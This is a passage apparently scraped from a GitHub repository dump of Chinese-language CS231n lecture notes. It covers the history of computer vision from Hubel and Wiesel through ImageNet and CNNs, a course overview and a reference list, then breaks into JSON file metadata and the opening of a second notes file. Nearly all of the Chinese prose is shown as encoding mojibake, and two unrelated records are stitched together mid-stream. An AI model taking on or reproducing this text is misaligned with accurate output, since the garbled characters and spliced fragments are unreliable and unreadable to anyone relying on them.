บๆ‘„ๅƒๅคด็ญ‰็ญ‰ใ€‚ใ€‚ใ€‚\n\n็”Ÿ็‰ฉๅญฆๅฎถๆœ€ๅผ€ๅง‹็ ”็ฉถไบ†็”Ÿ็‰ฉ่ง†่ง‰็š„ๅŽŸ็†๏ผŒ็ฎ—ๆ˜ฏๅฏๅ‘ไบ†่ฎก็ฎ—ๆœบ่ง†่ง‰็š„ไธ€้กน็ ”็ฉถ๏ผˆ[Hubel&Wiesel, 1959](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1363130/)๏ผ‰๏ผŒไป–ไปฌๆƒณ็Ÿฅ้“ๅ“บไนณๅŠจ็‰ฉ็š„่ง†่ง‰ๅค„็†ๆœบๅˆถๆ˜ฏๆ€Žๆ ท็š„๏ผŸไบŽๆ˜ฏ๏ผŒไป–ไปฌๅœจ็Œซ่„‘ๅญ้‡Œ็ฎก่ง†่ง‰็š„็ฅž็ปๅค„ๆŸฅ็”ตๆž็œ‹ๅๅบ”ใ€‚็ป“ๆžœ๏ผŒ่ง†่ง‰็ฅž็ปๅœจไธๅŒๅฑ‚ๅฏนไธๅŒ็š„่ง†่ง‰ๅฝฑๅ“ๆœ‰็€ไธๅŒ็š„ๅๅบ”๏ผŒๅ…ถไธญๅคๆ‚็ป†่ƒžๅฏน่พน็•Œไฟกๆฏๆ•ๆ„Ÿใ€‚\n\n่ฎก็ฎ—ๆœบ่ง†่ง‰็š„ๅŽ†ๅฒไปŽ60ๅนดไปฃๅˆๅผ€ๅง‹ใ€‚Block world ๆ˜ฏๅ…ถ็›ธๅ…ณ็š„็ฌฌไธ€็ฏ‡ๅทฅไฝœ๏ผŒไนŸๆ˜ฏไธ€็ฏ‡ PhD ่ฎบๆ–‡๏ผˆ [Larry Roberts, 1963](https://dspace.mit.edu/handle/1721.1/11589)๏ผ‰๏ผŒๅ…ถไธญ่ง†่ง‰ไธ–็•Œ่ขซ็ฎ€ๅŒ–ไธบ็ฎ€ๅ•็š„ๅ‡ ไฝ•ๅฝข็Šถ๏ผŒ่ง†่ง‰ไปฅ้‡ๅปบ็š„ๆ–นๅผ่ฏ†ๅˆซใ€‚ๅœจ1966ๅนด๏ผŒไธ€ไธช็Žฐๅทฒ้žๅธธ่‘—ๅไธ”ๅœจๅฝ“ๆ—ถ้ข‡ๆœ‰้‡Žๅฟƒ็š„ MIT ๆš‘ๆœŸ้กน็›ฎโ€”โ€”[The Summer Vision Project](https://dspace.mit.edu/handle/1721.1/6125) ใ€‚50ๅคšๅนด่ฟ‡ๅŽปไบ†๏ผŒ่ฟ™ไธช้กน็›ฎไปๅœจๆŒ็ปญ็š„็ ”็ฉถไธŽ่ง†่ง‰็›ธๅ…ณ็š„ๆ นๆœฌๆ€ง้—ฎ้ข˜ใ€‚[David Marr](https://zh.wikipedia.org/zh-hans/ๅคงๅซยท้ฉฌๅฐ”) ๆญคไบบๅœจ70ๅนดไปฃๅ†™ไบ†ไธ€ๆœฌๅพˆๆœ‰ๅฝฑๅ“ๅŠ›็š„ไนฆใ€Š[Vision](http://kryakin.site/David%20Marr-Vision.pdf)ใ€‹๏ผŒไนฆไธญ้ƒฝๆ˜ฏไป–็š„ๅฏนไบŽ่ง†่ง‰็š„ไธชไบบ็†่งฃไปฅๅŠๅฏนๅฆ‚ไฝ•ๅˆฉ็”จ่ฎก็ฎ—ๆœบๅผ€ๅ‘ๅ’Œๅค„็†่ง†่ง‰็š„็ฎ—ๆณ•็ญ‰็ญ‰้—ฎ้ข˜ใ€‚่ฟ™้‡Œ่ง†้ข‘้‡Œๆๅˆฐไบ†ไธ€็‚น็ป†่Š‚๏ผŒ่ฏด็™ฝไบ†ๅฐฑๆ˜ฏๆƒณ่ฏด็†่งฃ่ง†่ง‰ๆ˜ฏไธ€็งโ€ๅˆ†ๅฑ‚โ€œใ€โ€ๅˆ†ๅทฅโ€œใ€โ€ๅˆ†ๆญฅโ€œ็š„ๆ€็ปดๆ–นๅผใ€‚70ๅนดไปฃ่ฟ˜ๆœ‰ไธ€ไธชๅผ€ๅˆ›ๆ€ง็š„ๅทฅไฝœๅฐฑๆ˜ฏ๏ผšๆˆ‘ไปฌๅฆ‚ไฝ•่ถŠ่ฟ‡็ฎ€ๅ•็š„ๅ—็Šถไธ–็•Œ๏ผŒๅผ€ๅง‹่ฏ†ๅˆซๆˆ–่กจ็คบ็Žฐๅฎžไธ–็•Œ็š„ๅฏน่ฑก๏ผŸ๏ผˆ[Brooks&Binford, 1979](https://dl.acm.org/citation.cfm?id=1624890); [Fischler and Elschlager, 1973](https://ieeexplore.ieee.org/abstract/document/1672195/)๏ผ‰๏ผŒๅ…ถไธญ็š„ๅŸบๆœฌๆ€ๆƒณ๏ผŒ่ฏด็™ฝไบ†ๅฐฑๆ˜ฏๆฏไธชๅฏน่ฑก้ƒฝๆ˜ฏ็”ฑ็ฎ€ๅ•็š„ๅ‡ ไฝ•ๅ›พๅƒๆž„ๆˆใ€‚80ๅนดไปฃ็š„ [David Lowe](https://scholar.google.com/citations?user=8vs5HGYAAAAJ&hl=zh-CN) ๅฐ่ฏ•ไบ†็ฎ€ๅ•็š„็บฟๆก้‡ๅปบ่ง†่ง‰ๅ›พๅƒใ€‚ๆ€ปไน‹๏ผŒไธŠ่ฟฐ่ฟ™ไบ›ๅ’Œ็Žฐๅœจ็›ธๆฏ”๏ผŒ่ฟ˜ๆ˜ฏไธ€ไธชๅญ—๏ผšlow๏ผ้ƒฝ่ฟ˜ๅœ็•™ๅœจ toy example ็š„้˜ถๆฎต๏ผŒๆฒกๅ•ฅๅคง็š„่ฟ›ๅฑ•ใ€‚\n\nๅŽๆฅ็š„ๅ‘ๅฑ•๏ผŒๅ›พๅƒ่ฏ†ๅˆซๆ—ข็„ถๆžไธๆˆ๏ผŒ้‚ฃๅฐฑไปŽๅ›พๅƒๅˆ†ๅ‰ฒๅผ€ๅง‹ๆžไบ‹ๆƒ…ๅฅฝไบ†ใ€‚ไบŽๆ˜ฏ๏ผŒๅ‡บ็Žฐไบ† Normalized Cut๏ผˆ[Shi&Malik, 1997](https://www2.eecs.berkeley.edu/Pubs/TechRpts/1997/CSD-97-940.pdf)๏ผ‰็š„ๅ›พ็ฎ—ๆณ•ๆฅๅƒ็ด ็บงไธŠ่ฟ›่กŒๅˆ†ๅ‰ฒใ€‚ๆœ‰ไธ€ไธชๅบ”็”จ็š„ๅ‘ๅฑ•็‰นๅˆซๅ—ๅˆฐ็žฉ็›ฎ๏ผŒ้‚ฃๅฐฑๆ˜ฏ้ข้ƒจๆฃ€ๆต‹๏ผˆ[Viola&Jones, 2001](http://wearables.cc.gatech.edu/paper_of_week/viola01rapid.pdf)๏ผ‰๏ผŒๅœจๅฝ“ๆ—ถ้‚ฃ่‚ก็ปŸ่ฎกๆœบๅ™จๅญฆไน ๆ–นๆณ•็š„ๆตชๆฝฎไธ‹๏ผŒ่ฟ™ไธช็”จAdaboost็ฎ—ๆณ•ๅฎž็Žฐ็š„ๅฎžๆ—ถ้ข้ƒจๆฃ€ๆต‹็›ธๅฝ“ไปคไบบ็งฐ่ตžใ€‚2000ๅนดไปฅๅ‰10ๅนด้‡Œ๏ผŒ้‡่ฆๆ€ๆƒณๆ˜ฏๅŸบไบŽ็‰นๅพ็š„็›ฎๆ ‡่ฏ†ๅˆซ๏ผŒๅ…ถไธญไธ€ไธช้žๅธธๆœ‰ๅฝฑๅ“ๅŠ›็š„ๅทฅไฝœๆ˜ฏ [โ€SIFTโ€œ&Object Recognition](http://www.cs.ubc.ca/~lowe/papers/iccv99.pdf)๏ผˆDavid Lowe, 1999๏ผ‰ใ€‚่ฟ™ๆ ท็›ธๅŒๆž„ๆˆ่ฆ็ด ็‰นๅพๅŽป่ฏ†ๅˆซๅ›พ็‰‡๏ผŒไฝฟๅพ—ๆˆ‘ไปฌๅฏไปฅๅœจ่ฏ†ๅˆซๆ•ดๅน…ๅ›พๅƒๆœ‰ไบ†่ฟ›ๅฑ•๏ผŒ่ฟ™้‡Œๆœ‰ไธชไพ‹ๅญๅฐฑๆ˜ฏโ€็ฉบ้—ด้‡‘ๅญ—ๅก”ๅŒน้…โ€œ๏ผˆ[Spatial Pyramid Matching](http://mplab.ucsd.edu/~marni/Igert/Lazebnik_06.pdf), Lazebnik, Schmid & Ponce, 2006๏ผ‰๏ผŒ็ฎ—ๆณ•ๆ€ๆƒณๅฐฑไธ่ฏดไบ†ใ€‚ใ€‚ใ€‚็ฑปไผผ็š„่ฟ˜ๆœ‰่ฎพ่ฎกไบบไฝ“ๅงฟๆ€๏ผˆ[Histogram of Gradients,(HoG), Dalal&Triggs, 2005](https://lear.inrialpes.fr/people/triggs/pubs/Dalal-cvpr05.pdf)๏ผ‰ๅ’Œ่พจๅˆซไบบไฝ“ๅงฟๆ€๏ผˆ[Deformable Part Model](http://cs.brown.edu/people/pfelzens/papers/lsvm-pami.pdf), Felzenswalb, McAllester, Ramanan, 2009๏ผ‰ใ€‚\n\n่ฟ›ๅ…ฅ21ไธ–็บชไปฅๆฅ๏ผŒๅ›พ็‰‡่ดจ้‡้€ๆธ็š„่ถŠๆฅ่ถŠๅฅฝใ€‚่ฟ˜ๆœ‰ไบ’่”็ฝ‘็š„ๅ‘ๅฑ•๏ผŒ็›ธๆœบ็กฌไปถไปฅๅŠ่ฎก็ฎ—ๆœบ่ง†่ง‰็ ”็ฉถ็ญ‰็ญ‰็š„่ฟ›ๆญฅใ€‚ๆ•ฐๆฎๅ˜ๅพ—่ถŠๆฅ่ถŠๅคš๏ผŒ่ถŠๆฅ่ถŠๅฅฝ๏ผŒ้‚ฃไนˆ็›ฎๆ ‡่ฏ†ๅˆซ่ฟ™ไธช้‡่ฆ้—ฎ้ข˜็ปˆไบŽ้‡ๅ›žๅˆฐไบบไปฌ็š„่ง†้‡Žใ€‚ไบŽๆ˜ฏ๏ผŒ21ไธ–็บชๆ—ฉๆœŸๆ‰ๅผ€ๅง‹ๆœ‰ไบ†็œŸๆญฃๆœ‰ๆ ‡็ญพ็š„ๆ•ฐๆฎ้›†๏ผˆ[PASCAL Visual Object Challenge](http://host.robots.ox.ac.uk/pascal/VOC/)๏ผ‰๏ผŒไปฅไพ›ๆˆ‘ไปฌๅŽปๅฏน็›ฎๆ ‡่ฏ†ๅˆซ้—ฎ้ข˜่ฟ›่กŒ็ ”็ฉถใ€‚่ฟ™ๆฏ•็ซŸๆ‰20ไธช็ฑปๅˆซ็š„ๆ•ฐๆฎ้›†ใ€‚ๅพˆๅฟซไธ€ไธชๆ›ดๅŠ ็œŸๅฎž็š„ๆ•ฐๆฎ้›†ๅ‡บ็Žฐไบ†๏ผˆ[ImageNet](http://www.image-net.org)๏ผ‰๏ผŒๅฅฝๅฎถไผ™๏ผŒๆœ‰2.2ไธ‡ไธชๆ ‡็ญพ๏ผŒ1400ๅคšไธ‡ไธชๅ›พ็‰‡๏ผๆž่ฟ™ไนˆๅคง็š„ๆ•ฐๆฎๅ…ถๅฎžไนŸๅ’Œๆœบๅ™จๅญฆไน ็š„้—ฎ้ข˜ๆœ‰ๅ…ณ๏ผŒ้‚ฃๅฐฑๆ˜ฏๆ•ฐๆฎ้‡่ฆๆ˜ฏๅฐไบ†๏ผŒไผšๅคชๅฎนๆ˜“่ฟ‡ๆ‹Ÿๅˆ็š„ใ€‚ไธบๆญค่Šฑไบ†3ๅนดๆžๅ‡บไบ†่ฟ™ไนˆไธชๅคงๆ•ฐๆฎ้›†๏ผŒไปŽ2009ๅนดๅผ€ๅง‹็ป„็ป‡ไบ†ๅ›ฝ้™…ๆฏ”่ต›๏ผŒ็ป่ฟ‡ๆ›ดไธฅๆ ผ็ญ›้€‰็š„ๆต‹่ฏ•้›†๏ผŒ1000็ง็›ฎๆ ‡็ฑปๅˆซ๏ผŒ140ไธ‡ไธช็›ฎๆ ‡ๅ›พๅƒใ€‚ไบŽๆ˜ฏ๏ผŒไปŽ2010ๅนดๅˆฐ2017ๅนดไปฅๆฅ๏ผŒๆฏๅนด็š„่Žท่ƒœ้˜Ÿไผ็š„็ฎ—ๆณ•้”™่ฏฏ็Ž‡ๅœจไธๆ–ญ็š„ไธ‹้™๏ผš\n\n![Russakovsky et al. IJCV 2015](https://i.loli.net/2018/05/04/5aec5153127c8.png)\n\nๆ˜พ็„ถ๏ผŒๅพˆ็‰›้€ผ็š„ไธ€ๅนดๆ˜ฏ2012ๅนด๏ผไน‹ๅ‰ๅ‡ ๅนด่ฟ˜ๅพ˜ๅพŠๅœจ20%้”™่ฏฏ็Ž‡๏ผŒ็„ถ่€Œ2012ๅนดไธ€ไธ‹ๅญ้™ไบ†ๅฅฝๅคš็™พๅˆ†็‚น๏ผŒ่ฟ™ๅฐฑๆ˜ฏๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผˆCNN๏ผ‰ ็ฎ—ๆณ•ๆˆๅ็š„ไธ€ๅนดๅ•Š๏ผไปŽๆญค๏ผŒ็ฅž็ป็ฝ‘็ปœไปฅๅŠๆทฑๅบฆๅญฆไน ็ญ‰็ญ‰ๆฆ‚ๅฟต้ƒฝๅผ€ๅง‹ๅฟซ้€Ÿ้ฃŽ้ก่ตทๆฅใ€‚\n\n\n\n- ๆ‰ฉๅฑ•ๆๆ–™๏ผš\n\n [็ปดๅŸบ็™พ็ง‘๏ผšHubel](https://zh.wikipedia.org/wiki/ๅคง่ก›ยทไผ‘ไผฏ็ˆพ)\n\n [Wikipedia๏ผšViolaโ€“Jones_object_detection_framework](https://en.wikipedia.org/wiki/Violaโ€“Jones_object_detection_framework)\n\n\n\n## 1.3 CS231n Overview\n\n้ฆ–ๅ…ˆ่ฆ่ฏด็š„ๆ˜ฏ๏ผŒ่ฟ™้—จ่ฏพ็จ‹ไธป่ฆๅฐฑๆ˜ฏ้’ˆๅฏนโ€ๅ›พๅƒๅˆ†็ฑปโ€œๆฅๆžไบ‹ๆƒ…็š„ใ€‚ไธ่ฆๅฐ็žง่ฟ™ไปถไบ‹ๆƒ…็œ‹ไผผๅพˆๆฒกๆ„ๆ€๏ผŒๆˆ–่€…ไธๅคŸ้…ท๏ผŒๅ…ถๅฎžๆ‰€ๆœ‰็š„้ซ˜ๆทฑ็ฎ—ๆณ•ๅ’Œ่ฎฉไบบๆƒŠ่ฎถ็š„ๅ›พๅƒไปปๅŠก๏ผŒ้ƒฝๆ˜ฏๅŸบไบŽ๏ผŒ็”š่‡ณๆบไบŽโ€ๅ›พๅƒๅˆ†็ฑปโ€œๆŠ€ๆœฏ็š„๏ผŒๆฏ”ๅฆ‚่ฏดไป€ไนˆๅ›พๅƒๅˆ†ๅ‰ฒๆˆ–่€…ๅ›พๅƒๆ‘˜่ฆ็”Ÿๆˆ็ญ‰็ญ‰ใ€‚\n\nCNN ๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ˜ฏๆˆ‘ไปฌไธป่ฆ่ฎจ่ฎบ็š„ไธœ่ฅฟ๏ผŒ็”จๆฅ็›ฎๆ ‡่ฏ†ๅˆซ๏ผŒๆœ‰ๆ—ถไนŸๅซๅš convnetsใ€‚\n\n่‡ชไปŽ2012ๅนดๅผ€ๅง‹๏ผŒImageNet ็š„ๅคบๅ† ้ƒฝๆ˜ฏ็ฅž็ป็ฝ‘่ทฏๆจกๅž‹๏ผŒๅนถไธ”ๆทฑๅบฆ่ถŠๆฅ่ถŠๆทฑใ€‚ไธ‹ๅ›พๅฐ็ชฅไธ€ไธ‹๏ผš\n\n![](https://i.loli.net/2018/05/04/5aec5703ec992.png)\n\nๅ…ถๅฎž90ๅนดไปฃๆ—ถๅ€™๏ผŒCNN ๅฐฑๅทฒ็ป่ขซๅ‘ๆ˜Žไบ†๏ผŒไธ‹ๅ›พๆ˜ฏๅฝ“ๅนด็š„ๆจกๅž‹ไธŽ2012ๅนดๅๅฃฐๅคงๅ™ช็š„ AlexNet ็š„ๅฏนๆฏ”๏ผŒๅœจ็ป“ๆž„ไธŠไนŸ่ฏธๅคš็š„็›ธไผผไน‹ๅค„๏ผš\n\n![](https://i.loli.net/2018/05/04/5aec57c6a4c8a.png)\n\n้‚ฃไนˆ๏ผŒไฝ ่‚ฏๅฎš็‹็–‘ไบ†๏ผŒไธบๅ•ฅๆ—ฉๅฐฑๅ‘ๆ˜Žไบ†๏ผŒไฝ†ๆ˜ฏ็›ดๅˆฐ2012ๅนดๆ‰ไผš็ช็„ถๅคงๅฑ•ๆ‹ณ่„š๏ผŒ่ฎฉๅคงๅฎถๆปกๅœฐๆ‰พไธ‹ๅทดๅ‘ข๏ผŸ่ฟ™ๆ˜ฏๅ› ไธบ่ฟ™ไบ›ๅนดไปฅๆฅไปฅไธ‹ๆทฑๅบฆๅญฆไน ไธ‰ไธชๆ–น้ข็š„ๅ‘ๅฑ•ๅ’Œ่ฟ›ๆญฅๅฏผ่‡ด็š„๏ผš\n\n1. ่ฎก็ฎ—่ƒฝๅŠ›๏ผˆ**computation**๏ผ‰ใ€‚ๆ นๆฎๆ‘ฉๅฐ”ๅฎšๅพ‹๏ผŒ่ฎก็ฎ—ๆœบ็š„้€Ÿๅบฆๆฏๅนด้ƒฝๅœจๆ้ซ˜ใ€‚ไฝ•ๅ†ตๆˆ‘ไปฌ่ฟ˜ๆœ‰ GPU ่ฟ›่กŒ้ซ˜ๆ•ˆ็š„ๅนถ่กŒ่ฟ็ฎ—ใ€‚\n2. ๆ•ฐๆฎ๏ผˆ**data**๏ผ‰ใ€‚่ฟ™ไบ›็ฎ—ๆณ•้œ€่ฆๅบžๅคง็š„ๆ•ฐๆฎๆ‰ๅพ—ไปฅๅฎž็Žฐ้žๅธธๅฅฝ็š„ๆณ›ๅŒ–ๆ•ˆๆžœ๏ผŒไธ”้ฟๅ…ไบ†่ฟ‡ๆ‹Ÿๅˆใ€‚\n3. ็ฎ—ๆณ•๏ผˆ**algorithms**๏ผ‰ใ€‚ๆญฃๆ˜ฏๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ็š„ๅด›่ตท๏ผŒไผ ็ปŸๆœบๅ™จๅญฆไน ็ฎ—ๆณ•็š„่ฝๅฏžใ€‚\n\nๅ’Œไบบ็š„่ง†่ง‰็ณป็ปŸ็›ธๆฏ”๏ผŒๆˆ‘ไปฌ็š„่ฎก็ฎ—ๆœบ่ง†่ง‰่ฟ˜ๆœ‰ๅพˆๅคง็š„ๆฝœๅŠ›ๅ’Œ่ฟ›ๆญฅ็ฉบ้—ดใ€‚้‚ฃไนˆไฝ ๆ™“ๅพ—่ฎก็ฎ—ๆœบ่ง†่ง‰็š„ๅœฃๆฏๆ˜ฏไป€ไนˆไนˆ๏ผŸ้‚ฃๅฐฑๆ˜ฏไป…ไป…ๆ นๆฎไธ€ๅผ ๅ›พ็‰‡๏ผŒ่ฎก็ฎ—ๆœบๅฐฑ่ƒฝๅ†™ๅ‡บไธ€้ƒจๅฐ่ฏดๆฅใ€‚ใ€‚ใ€‚ใ€‚๏ผˆไธชไบบ่ฎคไธบ่ฟ™ไธไป…ไป…ๆ˜ฏ่ฎฐๅฟ†ๅŠ›ๅชๆ˜ฏๅ‚จๅญ˜็š„้—ฎ้ข˜๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๆƒณ่ฑกๅŠ›็š„้—ฎ้ข˜๏ผŒไธ่ฟ‡่ฎฐๅฟ†ๅŠ›็š„ๆœฌ่ดจๆœฌๆฅๅฐฑๆ˜ฏๆƒณ่ฑกๅŠ›๏ผŒๆ‰€ไปฅๅฏ่ƒฝ่ฟ˜ๆ˜ฏไธ€ไธช้—ฎ้ข˜๏ผ‰ใ€‚ๅฝ“็„ถ๏ผŒๅฏนไบŽไธ€ๅผ ๅ›พ็‰‡็š„ๆทฑๅˆป็†่งฃไนŸๆ˜ฏๅพˆ้‡่ฆ็š„๏ผŒ่ฏธๅฆ‚ๆš—ๅ–ป๏ผŒ่ฎฝๅˆบ๏ผŒๅนฝ้ป˜็ญ‰็ญ‰ใ€‚\n\n- ่Šฑไนฆๆ˜ฏ่ฏพ็จ‹ๆŽจ่้€‰่ฏป็”จไนฆใ€‚\n\n\n\n\n\n## References\n\n- Hubel, David H., and Torsten N. Wiesel. \"Receptive fields, binocular interaction and functionalarchitecture in the cat's visual cortex.\" The Journal of physiology 160.1 (1962): 106. [[PDF](https://physoc.onlinelibrary.wiley.com/doi/pdf/10.1113/jphysiol.1962.sp006837)]\n\n- Roberts, Lawrence Gilman. \"Machine Perception of Three-dimensional Solids.\" Diss. MassachusettsInstitute of Technology, 1963. [[PDF](https://dspace.mit.edu/bitstream/handle/1721.1/11589/33959125-MIT.pdf?sequence=2)]\n\n- Marr, David. \"Vision.โ€ The MIT Press, 1982. [[PDF](https://pne6lmlbp01.storage.googleapis.com/MDI2MjUxNDYyMQ==01.pdf)]\n\n- Brooks, Rodney A., and Creiner, Russell and Binford, Thomas O. \"The ACRONYM model-based vision system. \" In Proceedings of the 6th International Joint Conference on Artificial Intelligence (1979): 105-113. [[PDF](https://www.ijcai.org/Proceedings/81-2/Papers/005.pdf)]\n\n- Fischler, Martin A., and Robert A. Elschlager. \"The representation and matching of pictorial structures.\" IEEE Transactions on Computers 22.1 (1973): 67-92. [[PDF](https://pdfs.semanticscholar.org/719d/a2a0ddd38e78151e1cb2db31703ea8b2e490.pdf)]\n\n- Lowe, David G., \"Three-dimensional object recognition from single two-dimensional images,\" Artificial\n\n Intelligence, 31, 3 (1987), pp. 355-395. [[PDF](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.145.5388&rep=rep1&type=pdf)]\n\n- Shi, Jianbo, and Jitendra Malik. \"Normalized cuts and image segmentation.\" Pattern Analysis and\n\n Machine Intelligence, IEEE Transactions on 22.8 (2000): 888-905. [[PDF](https://repository.upenn.edu/cgi/viewcontent.cgi?article=1101&context=cis_papers)]\n\n- Viola, Paul, and Michael Jones. \"Rapid object detection using a boosted cascade of simple features.\" Computer Vision and Pattern Recognition, 2001. CVPR 2001. Proceedings of the 2001 IEEE Computer Society Conference on. Vol. 1. IEEE, 2001. [[PDF](https://www.researchgate.net/profile/Michael_Jones20/publication/3940582_Rapid_Object_Detection_using_a_Boosted_Cascade_of_Simple_Features/links/0f31753b419c639337000000.pdf)]\n\n- Lowe, David G. \"Distinctive image features from scale-invariant keypoints.\" International Journal of\n\n Computer Vision 60.2 (2004): 91-110. [[PDF](https://robo.fish/wiki/images/5/58/Image_Features_From_Scale_Invariant_Keypoints_Lowe_2004.pdf)]\n\n- Lazebnik, Svetlana, Cordelia Schmid, and Jean Ponce. \"Beyond bags of features: Spatial pyramid\n\n matching for recognizing natural scene categories.\" Computer Vision and Pattern Recognition, 2006IEEE Computer Society Conference on. Vol. 2. IEEE, 2006. [[PDF](https://hal.archives-ouvertes.fr/docs/00/54/85/85/PDF/cvpr06_lana.pdf)]\n\n\n- Dalal, Navneet, and Bill Triggs. \"Histograms of oriented gradients for human detection.\" ComputerVision and Pattern Recognition, 2005. CVPR 2005. IEEE Computer Society Conference on. Vol. 1. IEEE,2005. [[PDF](https://hal.inria.fr/docs/00/54/85/12/PDF/hog_cvpr2005.pdf)]\n\n- Felzenszwalb, Pedro, David McAllester, and Deva Ramanan. \"A discriminatively trained, multiscale,deformable part model.\" Computer Vision and Pattern Recognition, 2008. CVPR 2008. IEEEConference on. IEEE, 2008 [[PDF](ftp://130.63.188.51/pub/qizhi/literature/a%20discriminatively%20trained%20multiscale%20deformable%20part%20model.pdf)]\n\n- Everingham, Mark, et al. \"The pascal visual object classes (VOC) challenge.\" International Journal ofComputer Vision 88.2 (2010): 303-338. [[PDF](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.167.6629&rep=rep1&type=pdf)]\n\n- Deng, Jia, et al. \"Imagenet: A large-scale hierarchical image database.\" Computer Vision and PatternRecognition, 2009. CVPR 2009. IEEE Conference on. IEEE, 2009. [[PDF](https://www.researchgate.net/profile/Li_Jia_Li/publication/221361415_ImageNet_a_Large-Scale_Hierarchical_Image_Database/links/00b495388120dbc339000000/ImageNet-a-Large-Scale-Hierarchical-Image-Database.pdf)]\n\n- Russakovsky, Olga, et al. \"Imagenet Large Scale Visual Recognition Challenge.\" arXiv:1409.0575. [[PDF](https://arxiv.org/pdf/1409.0575)]\n\n- Lin, Yuanqing, et al. \"Large-scale image classification: fast feature extraction and SVM training.\"\n\n Computer Vision and Pattern Recognition (CVPR), 2011 IEEE Conference on. IEEE, 2011. [[PDF](http://rogerioferis.com/VisualRecognitionAndSearch2014/material/papers/SuperVectorCVPR2011.pdf)]\n\n- Krizhevsky, Alex, Ilya Sutskever, and Geoffrey E. Hinton. \"Imagenet classification with deep\n\n convolutional neural networks.\" Advances in neural information processing systems. 2012. [[PDF](http://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf)]\n\n- Szegedy, Christian, et al. \"Going deeper with convolutions.\" arXiv preprint arXiv:1409.4842 (2014).\n\n [[PDF](https://www.cv-foundation.org/openaccess/content_cvpr_2015/papers/Szegedy_Going_Deeper_With_2015_CVPR_paper.pdf)]\n\n- Simonyan, Karen, and Andrew Zisserman. \"Very deep convolutional networks for large-scale imagerecognition.\" arXiv preprint arXiv:1409.1556 (2014). [[PDF](https://arxiv.org/pdf/1409.1556.pdf%20http://arxiv.org/abs/1409.1556)]\n\n- He, Kaiming, et al. \"Spatial Pyramid Pooling in Deep Convolutional Networks for Visual Recognition.\"arXiv preprint arXiv:1406.4729 (2014). [[PDF](https://arxiv.org/pdf/1406.4729)]\n\n- LeCun, Yann, et al. \"Gradient-based learning applied to document recognition.\" Proceedings of theIEEE 86.11 (1998): 2278-2324. [[PDF](http://www.dengfanxin.cn/wp-content/uploads/2016/03/1998Lecun.pdf)]\n\n- Fei-Fei, Li, et al. \"What do we perceive in a glance of a real-world scene?.\" Journal of vision 7.1 (2007):10. [[PDF](http://jov.arvojournals.org/pdfaccess.ashx?url=/data/journals/jov/933517/jov-7-1-10.pdf)]\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_1.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.755327582359314, "alphanum_fraction": 0.7922415733337402, "avg_line_length": 48.09219741821289, "blob_id": "196864494ccbe51a06fe3801fb85f13ee3156993", "content_id": "2541c76def29676df1221f6a8383d06b4a01f5ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 29047, "license_type": "no_license", "max_line_length": 479, "num_lines": 282, "path": "/blog/cs231n/CS231n_Neural_Nets_notes_1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Neural Nets notes 1\ndate: 2018-08-26\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผš็ฅž็ป็ฝ‘็ปœ1\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/21462488?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n\n> ่ฏ‘่€…ๆณจ๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Neural Nets notes 1](http://cs231n.github.io/neural-networks-1/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ๏ผŒ[ๆŽ่‰บ้ข–](https://www.zhihu.com/people/li-yi-ying-73),[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/hmonkey)ๅ’Œ[ๅ 